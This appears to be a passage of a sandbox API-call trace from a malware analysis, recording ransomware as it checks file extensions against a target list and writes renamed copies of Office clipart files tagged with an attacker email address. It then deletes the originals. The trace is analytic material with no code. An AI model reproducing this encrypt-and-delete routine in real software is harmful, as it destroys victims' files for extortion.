(lpString=".dbf") returned 4 [0191.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0191.388] lstrlenW (lpString=".1cd") returned 4 [0191.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0191.388] lstrlenW (lpString=".jpg") returned 4 [0191.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.390] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=30522) returned 1 [0191.391] CloseHandle (hObject=0x554) returned 1 [0191.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 0x220 [0191.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0191.392] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.392] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0191.393] GetLastError () returned 0x0 [0191.393] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x773a, lpOverlapped=0x0) returned 1 [0191.396] WriteFile (in: hFile=0x444, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x7740, lpOverlapped=0x0) returned 1 [0191.397] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0191.397] WriteFile (in: hFile=0x444, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0191.397] SetEndOfFile (hFile=0x444) returned 1 [0191.398] CloseHandle (hObject=0x444) returned 1 [0191.398] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.398] SetEndOfFile (hFile=0x554) returned 1 [0191.570] CloseHandle (hObject=0x554) returned 1 [0191.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0191.574] lstrlenW (lpString=".doc") returned 4 [0191.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString=".docx") returned 5 [0191.574] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0191.574] lstrlenW (lpString=".pdf") returned 4 [0191.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString=".xls") returned 4 [0191.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.574] lstrlenW (lpString=".xlsx") returned 5 [0191.574] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0191.574] lstrlenW (lpString=".ppt") returned 4 [0191.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0191.575] lstrlenW (lpString=".zip") returned 4 [0191.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.575] lstrlenW (lpString=".rar") returned 4 [0191.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString=".bz2") returned 4 [0191.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString=".7z") returned 3 [0191.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0191.575] lstrlenW (lpString=".dbf") returned 4 [0191.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0191.575] lstrlenW (lpString=".1cd") returned 4 [0191.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0191.575] lstrlenW (lpString=".jpg") returned 4 [0191.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.576] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=35726) returned 1 [0191.576] CloseHandle (hObject=0x554) returned 1 [0191.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 0x220 [0191.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0191.578] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.578] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0191.579] GetLastError () returned 0x0 [0191.579] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x8b8e, lpOverlapped=0x0) returned 1 [0191.583] WriteFile (in: hFile=0x374, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x8b90, lpOverlapped=0x0) returned 1 [0191.585] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0191.585] WriteFile (in: hFile=0x374, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0191.585] SetEndOfFile (hFile=0x374) returned 1 [0191.586] CloseHandle (hObject=0x374) returned 1 [0191.586] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.586] SetEndOfFile (hFile=0x554) returned 1 [0191.591] CloseHandle (hObject=0x554) returned 1 [0191.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 1 [0191.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0191.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0191.594] lstrlenW (lpString=".doc") returned 4 [0191.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.594] lstrlenW (lpString=".docx") returned 5 [0191.594] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0191.594] lstrlenW (lpString=".pdf") returned 4 [0191.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.594] lstrlenW (lpString=".xls") returned 4 [0191.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.594] lstrlenW (lpString=".xlsx") returned 5 [0191.595] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0191.595] lstrlenW (lpString=".ppt") returned 4 [0191.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0191.595] lstrlenW (lpString=".zip") returned 4 [0191.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.595] lstrlenW (lpString=".rar") returned 4 [0191.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.595] lstrlenW (lpString=".bz2") returned 4 [0191.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.595] lstrlenW (lpString=".7z") returned 3 [0191.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0191.595] lstrlenW (lpString=".dbf") returned 4 [0191.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0191.595] lstrlenW (lpString=".1cd") returned 4 [0191.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0191.595] lstrlenW (lpString=".jpg") returned 4 [0191.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.597] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=7796) returned 1 [0191.597] CloseHandle (hObject=0x554) returned 1 [0191.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 0x220 [0191.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0191.599] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.600] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0191.602] GetLastError () returned 0x0 [0191.602] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1e74, lpOverlapped=0x0) returned 1 [0191.604] WriteFile (in: hFile=0x374, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1e80, lpOverlapped=0x0) returned 1 [0191.606] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0191.698] WriteFile (in: hFile=0x374, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0191.698] SetEndOfFile (hFile=0x374) returned 1 [0191.699] CloseHandle (hObject=0x374) returned 1 [0191.699] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.699] SetEndOfFile (hFile=0x554) returned 1 [0191.704] CloseHandle (hObject=0x554) returned 1 [0191.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0192.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0192.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0192.450] lstrlenW (lpString=".doc") returned 4 [0192.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.450] lstrlenW (lpString=".docx") returned 5 [0192.450] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0192.450] lstrlenW (lpString=".pdf") returned 4 [0192.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.450] lstrlenW (lpString=".xls") returned 4 [0192.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.450] lstrlenW (lpString=".xlsx") returned 5 [0192.451] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0192.451] lstrlenW (lpString=".ppt") returned 4 [0192.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0192.451] lstrlenW (lpString=".zip") returned 4 [0192.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.451] lstrlenW (lpString=".rar") returned 4 [0192.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.451] lstrlenW (lpString=".bz2") returned 4 [0192.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.451] lstrlenW (lpString=".7z") returned 3 [0192.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0192.451] lstrlenW (lpString=".dbf") returned 4 [0192.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0192.451] lstrlenW (lpString=".1cd") returned 4 [0192.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0192.451] lstrlenW (lpString=".jpg") returned 4 [0192.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.452] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=6596) returned 1 [0192.452] CloseHandle (hObject=0x550) returned 1 [0192.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 0x220 [0192.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0192.453] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0192.453] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0192.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.455] GetLastError () returned 0x0 [0192.455] ReadFile (in: hFile=0x550, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x19c4, lpOverlapped=0x0) returned 1 [0192.457] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x19d0, lpOverlapped=0x0) returned 1 [0192.458] ReadFile (in: hFile=0x550, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0192.458] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0192.458] SetEndOfFile (hFile=0x51c) returned 1 [0192.459] CloseHandle (hObject=0x51c) returned 1 [0192.459] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0192.459] SetEndOfFile (hFile=0x550) returned 1 [0192.467] CloseHandle (hObject=0x550) returned 1 [0192.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 1 [0192.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0192.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0192.469] lstrlenW (lpString=".doc") returned 4 [0192.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.469] lstrlenW (lpString=".docx") returned 5 [0192.469] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0192.469] lstrlenW (lpString=".pdf") returned 4 [0192.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.469] lstrlenW (lpString=".xls") returned 4 [0192.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.469] lstrlenW (lpString=".xlsx") returned 5 [0192.469] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0192.469] lstrlenW (lpString=".ppt") returned 4 [0192.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0192.469] lstrlenW (lpString=".zip") returned 4 [0192.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.469] lstrlenW (lpString=".rar") returned 4 [0192.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.469] lstrlenW (lpString=".bz2") returned 4 [0192.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.469] lstrlenW (lpString=".7z") returned 3 [0192.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0192.469] lstrlenW (lpString=".dbf") returned 4 [0192.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0192.469] lstrlenW (lpString=".1cd") returned 4 [0192.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0192.470] lstrlenW (lpString=".jpg") returned 4 [0192.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.471] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=5376) returned 1 [0192.471] CloseHandle (hObject=0x550) returned 1 [0192.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 0x220 [0192.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0192.473] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0192.473] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0192.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.474] GetLastError () returned 0x0 [0192.474] ReadFile (in: hFile=0x550, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1500, lpOverlapped=0x0) returned 1 [0192.476] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1510, lpOverlapped=0x0) returned 1 [0192.478] ReadFile (in: hFile=0x550, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0192.478] 